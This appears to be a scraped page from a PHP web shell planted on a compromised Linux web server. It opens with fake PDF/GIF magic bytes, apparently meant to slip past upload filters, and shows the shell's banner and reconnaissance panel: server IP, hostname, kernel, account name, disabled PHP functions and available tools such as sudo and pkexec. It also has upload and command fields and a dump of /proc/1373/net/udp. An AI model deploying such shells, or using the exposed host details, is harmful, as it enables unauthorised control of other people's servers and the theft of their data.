%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1373/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/1373/net//udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
   25: EDFEA105:E37C 59563D9A:5F79 01 00000000:00000000 00:00000000 00000000  1157        0 1302067647 2 0000000000000000 0    
  118: EDFEA105:B3D9 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302917190 2 0000000000000000 0    
  569: EDFEA105:E59C 02400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302914839 2 0000000000000000 0    
  688: EDFEA105:B613 02400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302916608 2 0000000000000000 0    
  750: EDFEA105:A651 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302916687 2 0000000000000000 0    
  997: EDFEA105:B748 08080808:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302915832 2 0000000000000000 0    
 1444: EDFEA105:E907 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302917194 2 0000000000000000 0    
 1516: EDFEA105:E94F 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302915855 2 0000000000000000 0    
 1913: EDFEA105:8ADC 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302914733 2 0000000000000000 0    
 1971: EDFEA105:9B16 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302915858 2 0000000000000000 0    
 2092: EDFEA105:AB8F 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302917195 2 0000000000000000 0    
 3066: EDFEA105:9F5D 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302916696 2 0000000000000000 0    
 3249: EDFEA105:9014 02400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302915846 2 0000000000000000 0    
 3282: 00000000:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 1270637599 2 0000000000000000 35148
 3297: 00000000:0044 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 22273 2 0000000000000000 0         
 3340: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 16532 2 0000000000000000 0         
 3397: EDFEA105:D0A8 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1058        0 1302914824 2 0000000000000000 0    
 3424: EDFEA105:D0C3 02400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302914799 2 0000000000000000 0    
 3439: EDFEA105:90D2 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1081        0 1302815105 2 0000000000000000 0    
 3459: EDFEA105:80E6 59563D9A:5F79 01 00000000:00000000 00:00000000 00000000  1081        0 1302813668 2 0000000000000000 0    
 3552: 0100007F:0143 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 21202 2 0000000000000000 0         
 3766: EDFEA105:9219 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1302914816 2 0000000000000000 0    
 3796: EDFEA105:F237 02400CB9:0035 01 00000000:00000000 00:00000000 00000000  1157        0 1302066162 2 0000000000000000 0    
 4078: EDFEA105:A351 59563D9A:5F79 01 00000000:00000000 00:00000000 00000000     0        0 1239853505 2 0000000000000000 0    

Anon7 - 2022
SCDN GOK